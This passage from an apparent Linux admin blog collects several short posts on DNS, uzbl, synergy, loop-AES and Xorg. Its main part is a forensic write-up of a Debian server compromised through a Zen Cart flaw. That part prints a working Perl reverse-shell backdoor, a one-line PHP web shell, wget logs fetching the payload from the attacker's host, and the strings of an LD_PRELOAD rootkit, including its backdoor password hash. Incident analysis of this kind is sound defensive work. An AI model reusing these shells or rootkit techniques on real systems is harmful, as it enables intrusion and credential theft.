b) http://www.linuxforums.org/forum/linux-security/47606-shv4-shv5-rootkit-installed.html
c) http://www.jigsawboys.com/2008/06/01/lead-story-test/
d) http://www.hacker-soft.net/tools/Papers/redhat-compromise.pdf (thanks to the guy with the raw socket details )

rotate               sets  RES_ROTATE  in _res.options, which causes round robin selection of name‐
                     servers from among those listed.  This has the effect of spreading  the  query
                     load  among  all  listed servers, rather than having all clients try the first
                     listed server first every time.

Since then my /etc/resolv.conf on both Gentoo and Debian looks like that:
nameserver 194.177.210.10
nameserver 194.177.210.210
nameserver 194.177.210.211
options rotate


(I prefer using GrNET’s DNS servers than any others in Greece, especially for my laptop configuration. Since they allow recursion I can use them to avoid lousy DNS services provided by lousy DSL routers regardless of the ISP I am currently using, when I am “mobile” with my laptop.)

While using the following config I issued a ping command on a teminal and a tcpdump command on another to see what was actually happening. The result looked like this:
root@lola:~# tcpdump -ni eth1 port 53
tcpdump: verbose output suppressed, use -v or -vv for full protocol decode
listening on eth1, link-type EN10MB (Ethernet), capture size 96 bytes
11:20:46.405694 IP 192.168.1.65.55154 > 194.177.210.210.53: 39212+ A? ntua.gr. (25)
11:20:46.444266 IP 194.177.210.210.53 > 192.168.1.65.55154: 39212* 1/5/8 A 147.102.222.210 (319)
11:20:46.484490 IP 192.168.1.65.56152 > 194.177.210.211.53: 50452+ PTR? 210.222.102.147.in-addr.arpa. (46)
11:20:46.584171 IP 194.177.210.211.53 > 192.168.1.65.56152: 50452 ServFail 0/0/0 (46)
11:20:46.584449 IP 192.168.1.65.58597 > 194.177.210.10.53: 50452+ PTR? 210.222.102.147.in-addr.arpa. (46)
11:20:46.624179 IP 194.177.210.10.53 > 192.168.1.65.58597: 50452 1/7/6 (357)
11:20:47.484420 IP 192.168.1.65.32818 > 194.177.210.10.53: 33179+ PTR? 210.222.102.147.in-addr.arpa. (46)
11:20:47.524176 IP 194.177.210.10.53 > 192.168.1.65.32818: 33179 1/7/6 (357)
11:20:48.484483 IP 192.168.1.65.57670 > 194.177.210.210.53: 21949+ PTR? 210.222.102.147.in-addr.arpa. (46)
11:20:48.524184 IP 194.177.210.210.53 > 192.168.1.65.57670: 21949 1/3/6 (271)
11:20:49.487610 IP 192.168.1.65.48966 > 194.177.210.211.53: 8619+ PTR? 210.222.102.147.in-addr.arpa. (46)
11:20:49.534204 IP 194.177.210.211.53 > 192.168.1.65.48966: 8619 ServFail 0/0/0 (46)
11:20:49.534429 IP 192.168.1.65.49421 > 194.177.210.10.53: 8619+ PTR? 210.222.102.147.in-addr.arpa. (46)
11:20:49.574138 IP 194.177.210.10.53 > 192.168.1.65.49421: 8619 1/7/6 (357)
11:20:50.494537 IP 192.168.1.65.52525 > 194.177.210.10.53: 3415+ PTR? 210.222.102.147.in-addr.arpa. (46)
11:20:50.534145 IP 194.177.210.10.53 > 192.168.1.65.52525: 3415 1/7/6 (357)
11:20:51.494552 IP 192.168.1.65.40400 > 194.177.210.210.53: 4504+ PTR? 210.222.102.147.in-addr.arpa. (46)
11:20:51.534205 IP 194.177.210.210.53 > 192.168.1.65.40400: 4504 1/3/6 (271)
11:20:52.494554 IP 192.168.1.65.42385 > 194.177.210.211.53: 48450+ PTR? 210.222.102.147.in-addr.arpa. (46)
11:20:52.544197 IP 194.177.210.211.53 > 192.168.1.65.42385: 48450 ServFail 0/0/0 (46)
11:20:52.544409 IP 192.168.1.65.43773 > 194.177.210.10.53: 48450+ PTR? 210.222.102.147.in-addr.arpa. (46)
11:20:52.584232 IP 194.177.210.10.53 > 192.168.1.65.43773: 48450 1/7/6 (357)


People who are used to reading tcpdump output will immediately point out the ServFail entries of the log. Server 194.177.210.211 refused to provide proper results for the PTR query of 210.222.102.147.in-addr.arpa.

Further investigation of the problem:

root@lola:~# dig ptr 210.222.102.147.in-addr.arpa @194.177.210.210
;; QUESTION SECTION:
;210.222.102.147.in-addr.arpa.  IN  PTR
;; ANSWER SECTION:
210.222.102.147.in-addr.arpa. 66841 IN  PTR achilles.noc.ntua.gr.

root@lola:~# dig ptr 210.222.102.147.in-addr.arpa @194.177.210.211
;; QUESTION SECTION:
;210.222.102.147.in-addr.arpa.  IN  PTR

root@lola:~# dig ptr 210.222.102.147.in-addr.arpa @194.177.210.10
;; QUESTION SECTION:
;210.222.102.147.in-addr.arpa.  IN  PTR
;; ANSWER SECTION:
210.222.102.147.in-addr.arpa. 86115 IN  PTR achilles.noc.ntua.gr.

It was obvious that 2 out of 3 DNS servers responded as they should and the other did not.

What I did was to notify a friend working as an administrator there (GrNET) and let him know of the problem. After some investigation, he later on told me that the problem was related to dnssec issues. Possibly a configuration error on RIPE’s side. As far as I know they had to temporarily disable dnssec on the 147.102 zone…I am not aware whether they fixed the problem (using dnssec) yet though.

I am really glad they acted as fast as possible regarding the solution of the problem

I installed it on my Debian testing using the following blog post: Installing uzbl on Debian Squeeze .
Be sure to make install else you’ll have no config and uzbl will be unusable!!!

The first place I used it was for the urlLauncher plugin of urxvt. On my .Xdefaults I have the following piece of code:
urxvt.perl-ext-common: default,matcher,-option-popup,-selection-popup,-realine
urxvt.matcher.button: 1
urxvt.urlLauncher: /usr/local/bin/urxvt-url.sh

and my /usr/local/bin/urxvt-url.sh contains:
#!/bin/sh
uzbl "$1"

Now every url on the console get’s highlighted and I can open it with uzbl. And that means opening really fast!

Example:
urxvt terminal (tabbed by fluxbox) with some urls highlighted by the perl matcher plugin of urxvt:

left clicking on one of the urls opens it with uzbl:

Apart from that, I’ve started using uzbl to open links on instant messengers, IRC clients and in every other place that people send me simple links to check out or I need a fast browser instance. Some people might say that it looks like links2 graphical mode, but it’s NOT like opening urls with “links -G” because uzbl is based on webkit and that means it can deal with javascript, java, flash, whatever…

I just love the way you can keybind all the actions you want on it…on the example config that comes with it, you quit the browser by typing ZZ…how great is that ?

Some usage tips
1) Tabbed behavior (if you have fluxbox):
In ~/.config/uzbl/config add
bind t _ = spawn uzbl --uri %s
and in ~/.fluxbox/apps add the [group] tag before the [app] tag for uzbl like that:

[group]
 [app] (name=uzbl) (class=Uzbl)
  [Workspace]   {0} 
  [Head]    {0} 
  [Dimensions]  {800 1284}
  [Position]    (UPPERLEFT) {0 0}
  [Maximized]   {yes}
  [Jump]    {yes}
  [Close]   {yes}
[end]

2) Close uzbl window with ctrl+w
In ~/.config/uzbl/config add:

bind     ctrl+v ctrl+w    = exit

P.S. If you are a person that just came from the point and click windows world to the beautiful world of linux, or you are a person that loves bloated desktop managers like KDE/gnome/etc or bloated applications like firefox/iceweasel/konqueror don’t even think of installing it. You’ll never understand its value…
P.S.2. If Richard Stallman decided to browse the web and had an internet connection uzbl would probably be his browser of choice

On Gentoo:
# emerge x11-misc/synergy
On Debian:
# aptitude install synergy

My config is pretty simple. That’s Debian’s (hostname lola) /etc/synergy.conf:

section: screens
    lola:
    athlios:
end

section: links
    lola:
        right = athlios
    athlios:
        left  = lola
end

section: aliases
    lola:
        mac 
end

When I want to control athlios (desktop) from lola (laptop), I start synergys on lola, ssh to athlios and start synergyc lola. That’s it, I can then control desktop’s mouse and keyboard from laptop’s touchpad and keyboard. When I move the lola’s cursor far to the right, the cursor starts moving on the desktop. Then if I start typing on the laptop’s keyboard I am actually typing on the desktop. Moving the cursor far to the left of the desktop’s monitor, the cursor starts moving again on the laptop.

A problem that I faced was that some keys (Left and Down arrow) stop repeating if you press them continuously when you start synergyc. The solution is posted on the synergy article on gentoo wiki. You just have to type: xset r 113 (left arrow) and xset r 116 (down arrow) to activate them, then move your mouse to the synergy server and back to the synergy client. If you try typing on the machine where the synergy client has started using its keyboard you will see that repeating doesn’t work at all. Just type xset r to get it back working if you need it.

For people having more than one machine on their desk, synergy is a real salvation in order to stop switching keyboards and mice all the time.

1. The necessary utilities (patched losetup)
# aptitude install loop-aes-utils
2. The necessary kernel-module
# aptitude install loop-aes-modules-2.6.30-1-686-bigmem
3. Create the keyfile (keep your computer as busy as possible while doing this to increase entropy)
# head -c 2925 /dev/urandom | uuencode -m - | head -n 66 | tail -n 65| gpg --symmetric -a >/path/to/keyfile.gpg
4. Loopfile creation (10Mb)
# dd if=/dev/urandom of=/my-encrypted-loop.aes bs=1k count=10000
5. Initialize loopfile
# losetup -K /path/to/keyfile.gpg -e AES256 /dev/loop5 /home/username/crypto-loop.img
6. Format loopfile
# mke2fs /dev/loop5
7. Delete loop device
# losetup -d /dev/loop5
8. Create mount point for loopfile
# mkdir /mnt/crypto-loop
9. Add entry to fstab

/home/username/crypto-loop.img /mnt/crypt-loop ext2 defaults,noauto,user,loop=/dev/loop7,encryption=AES256,gpgkey=/path/to/keyfile.gpg 0 0

10. Try mounting the loopfile as user
$ mount /mnt/crypto-loop
11. Check it’s mounted properly
$ mount | grep -i aes

and use it!

P.S. Secure your keyfile.gpg, if it gets lost you won’t _ever_ be able to decrypt what was inside crypto-loop.img!

It’s monday morning and I am for coffee in downtown Thessaloniki, a partner calls:
- On machine XXX mysqld is not starting since Saturday.
- Can I drink my coffee and come over later to check it ? Is it critical ?
- Nope, come over anytime you can…

Around 14:00 I go over to his company to check on the box. It’s a debian oldstable (etch) that runs apache2 with xoops CMS + zencart (version unknown), postfix, courier-imap(s)/pop3(s), bind9 and mysqld. You can call it a LAMP machine with a neglected CMS which is also running as a mailserver…

I log in as root, I do a ps ax and the first thing I notice is apache having more than 50 threads running. I shut apache2 down via /etc/init.d/apache2 stop. Then I start poking at mysqld. I can’t see it running on ps so I try starting it via the init.d script. Nothing…it hangs while trying to get it started. I suspect a failing disk so I use tune2fs -C 50 /dev/hda1 to force an e2fck on boot and I reboot the machine. The box starts booting, it checks the fs, no errors found, it continues and hangs at starting mysqld. I break out of the process and am back at login screen. I check the S.M.A.R.T. status of the disk via smartctl -a /dev/hda, all clear, no errors found. Then I try to start mysqld manually, it looks like it starts but when I try to connect to it via a mysql client I get no response. I try to move /var/lib/mysql/ files to another location and to re-init the mysql database. Trying to start mysqld after all that, still nothing.

Then I try to downgrade mysql to the previous version. Apt-get process tries to stop mysqld before it replaces it with the older version and it hangs, I try to break out of the process but it’s impossible…after a few killall -9 mysqld_safe;killall -9 mysql; killall -9 mysqladmin it finally moves on but when it tries to start the downgraded mysqld version it hangs once again. That’s totally weird…

I try to ldd /usr/sbin/mysqld and I notice a very strange library named /lib/ld-linuxv.so.1 in the output. I had never heard of that library name before so I google. Nothing comes up. I check on another debian etch box I have for the output of ldd /usr/sbin/mysqld and no library /lib/ld-linuxv.so.1 comes up. I am definitely watching something that it shouldn’t be there. And that’s a rootkit!

I ask some friends online but nobody has ever faced that library rootkit before. I try to find that file on the box but it’s nowhere to be seen inside /lib/…the rootkit hides itself pretty well. I can’t see it with ls /lib or echo /lib/*. The rootkit has probably patched the kernel functions that allow me to see it. Strangely though I was able to see it with ldd (more about the technical stuff on the second half of the post). I try to check on some other executables in /sbin with a for i in /usr/sbin/*;do ldd $i; done, all of them appear to have /lib/ld-linuxv.so.1 as a library dependency. I try to reboot the box with another kernel than the one it’s currently using but I get strange errors that it can’t even find the hard disk.

I try to downgrade the “working” kernel in an attempt of booting the box cleanly without the rootkit. I first take backups of the kernel and initramfs which are about to be replaced of course. When apt-get procedure calls mkinitramfs in order to create the initramfs image I notice that there are errors saying that it can’t delete /tmp/mkinitramfs_UVWXYZ/lib/ld-linuxv.so.1 file, so rm fails and that makes mkinitramfs fail as well.

I decide that I am doing more harm than good to the machine at the time and that I should first get an image of the disk before I fiddle any more with it. So I shut the box down. I set up a new box with most of the services that should be running (mail + dns), so I had the option to check on the disk with the rootkit on my own time.

Part 2: Technical analysis
I. First look at the ld-linuxv.so.1 library

A couple of days later I put the disk to my box and made an image of each partition using dd:
dd if=/dev/sdb1 of=/mnt/image/part1 bs=64k

Then I could mount the image using loop to play with it:
mount -o loop /mnt/image/part1 /mnt/part1

A simple ls of /mnt/part1/lib/ revealed that ld-linuxv.so.1 was there. I run strings to it:
# strings /lib/ld-linuxv.so.1
__gmon_start__
_init
_fini
__cxa_finalize
_Jv_RegisterClasses
execve
dlsym
fopen
fprintf
fclose
puts
system
crypt
strdup
readdir64
strstr
__xstat64
__errno_location
__lxstat64
opendir
login
pututline
open64
pam_open_session
pam_close_session
syslog
vasprintf
getspnam_r
getspnam
getpwnam
pam_authenticate
inssh
gotpass
__libc_start_main
logit
setuid
setgid
seteuid
setegid
read
fwrite
accept
htons
doshell
doconnect
fork
dup2
stdout
fflush
stdin
fscanf
sleep
exit
waitpid
socket
libdl.so.2
libc.so.6
_edata
__bss_start
_end
GLIBC_2.0
GLIBC_2.1.3
GLIBC_2.1
root
@^_]
`^_]
ld.so.preload
ld-linuxv.so.1
_so_cache
execve
/var/opt/_so_cache/ld
%s:%s
Welcome master
crypt
readdir64
__xstat64
__lxstat64
opendir
login
pututline
open64
lastlog
pam_open_session
pam_close_session
syslog
getspnam_r
$1$UFJBmQyU$u2ULoQTJbwDvVA70ocLUI0
getspnam
getpwnam
root
/dev/null
normal
pam_authenticate
pam_get_item
Password:
__libc_start_main
/var/opt/_so_cache/lc
local
/usr/sbin/sshd
/bin/sh
read
write
accept
/usr/sbin/crond
HISTFILE=/dev/null
%99s
$1$UFJBmQyU$u2ULoQTJbwDvVA70ocLUI0
/bin/sh

As one can easily see there’s some sort of password hash inside and references to /usr/sbin/sshd, /bin/sh and setting HISTFILE to /dev/null.

I took the disk image to my friend argp to help me figure out what exactly the rootkit does and how it was planted to the box.

II. What the rootkit does

Initially, while casually discussing the incident, kargig and myself (argp) we thought that we had to do with a kernel rootkit. However, after carefully studying the disassembled dead listing of ld-linuxv.so.1, it became clear that it was a shared library based rootkit. Specifically, the intruder created the /etc/ld.so.preload file on the system with just one entry; the path of where he saved the ld-linuxv.so.1 shared library, namely /lib/ld-linuxv.so.1. This has the effect of preloading ld-linuxv.so.1 every single time a dynamically linked executable is run by a user. Using the well-known technique of dlsym(RTLD_NEXT, symbol), in which the run-time address of the symbol after the current library is returned to allow the creation of wrappers, the ld-linuxv.so.1 shared library trojans (or hijacks) several functions. Below is a list of some of the functions the shared library hijacks and brief explanations of what some of them do:
crypt
readdir64
__xstat64
__l xstat64
opendir
login
pututline
open64
pam_open_session
pam_close_session
syslog
getspnam_r
getspnam
getpwnam
pam_authenticate
pam_get_item
__libc_start_main
read
write
accept

The hijacked accept() function sends a reverse, i.e. outgoing, shell to the IP address that initiated the incoming connection at port 80 only if the incoming IP address is a specific one. Afterwards it calls the original accept() system call. The hijacked getspnam() function sets the encrypted password entry of the shadow password structure (struct spwd->sp_pwdp) to a predefined hardcoded value (“$1$UFJBmQyU$u2ULoQTJbwDvVA70ocLUI0”). The hijacked read() and write() functions of the shared library wrap the corresponding system calls and if the current process is ssh (client or daemon), their buffers are appended to the file /var/opt/_so_cache/lc for outgoing ssh connections, or to /var/opt/_so_cache/ld for incoming ones (sshd). These files are also kept hidden using the same approach as described above.

III. How the rootkit was planted in the box

While argp was looking at the objdump output, I decided to take a look at the logs of the server. The first place I looked was the apache2 logs. Opening /mnt/part1/var/log/apache2/access.log.* didn’t provide any outcome at first sight, nothing really striking out, but when I opened /mnt/part1/var/log/apache2/error.log.1 I faced these entries at the bottom:

–01:05:38– http://ABCDEFGHIJ.150m.com/foobar.ext
=> `foobar.ext’
Resolving ABCDEFGHIJ.150m.com… 209.63.57.10
Connecting to ABCDEFGHIJ.150m.com|209.63.57.10|:80… connected.
HTTP request sent, awaiting response… 200 OK
Length: 695 [text/plain]
foobar.ext: Permission denied

Cannot write to `foobar.ext’ (Permission denied).
–01:05:51– http://ABCDEFGHIJ.150m.com/foobar.ext
=> `foobar.ext’
Resolving ABCDEFGHIJ.150m.com… 209.63.57.10
Connecting to ABCDEFGHIJ.150m.com|209.63.57.10|:80… connected.
HTTP request sent, awaiting response… 200 OK
Length: 695 [text/plain]

0K 100% 18.61 MB/s

01:05:51 (18.61 MB/s) – `foobar.ext’ saved [695/695]

–01:17:14– http://ABCDEFGHIJ.150m.com/foobar.ext
=> `foobar.ext’
Resolving ABCDEFGHIJ.150m.com… 209.63.57.10
Connecting to ABCDEFGHIJ.150m.com|209.63.57.10|:80… connected.
HTTP request sent, awaiting response… 200 OK
Length: 695 [text/plain]
foobar.ext: Permission denied

Cannot write to `foobar.ext’ (Permission denied).
–01:17:26– http://ABCDEFGHIJ.150m.com/foobar.ext
=> `foobar.ext’
Resolving ABCDEFGHIJ.150m.com… 209.63.57.10
Connecting to ABCDEFGHIJ.150m.com|209.63.57.10|:80… connected.
HTTP request sent, awaiting response… 200 OK
Length: 695 [text/plain]

0K 100% 25.30 MB/s

01:17:26 (25.30 MB/s) – `foobar.ext’ saved [695/695]

So this was the entrance point. Someone got through a web app to the box and was able to run code.
I downloaded “foobar.ext” from the same url and it was a perl script.

#!/usr/bin/perl
# Data Cha0s Perl Connect Back Backdoor Unpublished/Unreleased Source
# Code

use Socket;

print “[*] Dumping Arguments\n”;

$host = “A.B.C.D”;
$port = XYZ;

if ($ARGV[1]) {
$port = $ARGV[1];
}
print “[*] Connecting…\n”; $proto = getprotobyname(‘tcp’) || die(“[-] Unknown Protocol\n”);

socket(SERVER, PF_INET, SOCK_STREAM, $proto) || die (“[-] Socket Error\n”);

my $target = inet_aton($host);

if (!connect(SERVER, pack “SnA4×8″, 2, $port, $target)) {
die(“[-] Unable to Connect\n”);
}
print “[*] Spawning Shell\n”;

if (!fork( )) {
open(STDIN,”>&SERVER”);
open(STDOUT,”>&SERVER”);
open(STDERR,”>&SERVER”);
exec {‘/bin/sh’} ‘-bash’ . “\0″ x 4;
exit(0);
}

Since I got the time when foobar.ext was downloaded I looked again at the apache2 access.log to see what was going on at the time.
Here are some entries:

A.B.C.D – - [15/Aug/2009:01:05:33 +0300] “GET http://www.domain.com/admin/ HTTP/1.1″ 302 – “-” “Mozilla Firefox”
A.B.C.D – - [15/Aug/2009:01:05:34 +0300] “POST http://www.domain.com/admin/record_company.php/password_forgotten.php?action=insert HTTP/1.1″ 200 303 “-” “Mozilla Firefox”
A.B.C.D – - [15/Aug/2009:01:05:34 +0300] “GET http://www.domain.com/images/imagedisplay.php HTTP/1.1″ 200 131 “-” “Mozilla Firefox”
A.B.C.D – - [15/Aug/2009:01:05:38 +0300] “GET http://www.domain.com/images/imagedisplay.php HTTP/1.1″ 200 – “-” “Mozilla Firefox”
A.B.C.D – - [15/Aug/2009:01:05:47 +0300] “GET http://www.domain.com/images/imagedisplay.php HTTP/1.1″ 200 52 “-” “Mozilla Firefox”
A.B.C.D – - [15/Aug/2009:01:05:50 +0300] “GET http://www.domain.com/images/imagedisplay.php HTTP/1.1″ 200 – “-” “Mozilla Firefox”
A.B.C.D – - [15/Aug/2009:01:05:51 +0300] “GET http://www.domain.com/images/imagedisplay.php HTTP/1.1″ 200 59 “-” “Mozilla Firefox”

The second entry, with the POST looks pretty strange. I opened the admin/record_company.php file and discovered that it is part of zen-cart. The first result of googling for “zencart record_company” is this: Zen Cart ‘record_company.php’ Remote Code Execution Vulnerability. So that’s exactly how they were able to run code as the apache2 user.

Opening images/imagedisplay.php shows the following code:
<?php system($_SERVER["HTTP_SHELL"]); ?>
This code allows running commands using the account of the user running the apache2 server.

Part 3: Conclusion and food for thought
To conclude on what happened:
1) The attacker used the zencart vulnerability to create the imagedisplay.php file.
2) Using the imagedisplay.php file he was able to make the server download foobar.ext from his server.
3) Using the imagedisplay.php file he was able to run the server run foobar.ext which is a reverse shell. He could now connect to the machine.
4) Using some local exploit(s) he was probably able to become root.
5) Since he was root he uploaded/compiled ld-linuxv.so.1 and he created /etc/ld.so.preload. Now every executable would first load this “trojaned” library which allows him backdoor access to the box and is hidding from the system. So there is his rootkit

Fortunately the rootkit had problems and if /var/opt/_so_cache/ directory was not manually created it couldn’t write the lc and ld files inside it. If you created the _so_cache dir then it started logging.

If there are any more discoveries about the rootkit they will be posted in a new post. If someone else wants to analyze the rootkit I would be more than happy if he/she put a link to the analysis as a comment on this blog.

Part 4: Files

In the following tar.gz you will find the ld-linuxv.so.1 library and the perl script foobar.ext (Use at your own risk. Attacker’s host/ip have been removed from the perl script):linuxv-rootkit.tar.gz

Many many thanks to argp of Census Labs

After some googling I bumped into Debian bug #491871 – [965GM EXA] display corruption with xulrunner 1.9. Following post #67 on that thread I was able to repair my xorg.conf to something that fixed the image distortion. Now Planet Gnome looks like this:

Some info:

# apt-cache policy iceweasel xserver-xorg-video-intel xulrunner-1.9.1
iceweasel:
Installed: 3.5.1-1
Candidate: 3.5.1-1
Version table:
*** 3.5.1-1 0
1 http://ftp.debian.org experimental/main Packages
100 /var/lib/dpkg/status
3.0.12-1 0
500 http://ftp.de.debian.org squeeze/main Packages
99 http://ftp.de.debian.org sid/main Packages
xserver-xorg-video-intel:
Installed: 2:2.3.2-2+lenny6
Candidate: 2:2.3.2-2+lenny6
Version table:
2:2.8.0-2 0
99 http://ftp.de.debian.org sid/main Packages
*** 2:2.3.2-2+lenny6 0
500 http://ftp.de.debian.org squeeze/main Packages
100 /var/lib/dpkg/status
xulrunner-1.9.1:
Installed: 1.9.1.1-2
Candidate: 1.9.1.1-2
Version table:
*** 1.9.1.1-2 0
1 http://ftp.debian.org experimental/main Packages
100 /var/lib/dpkg/status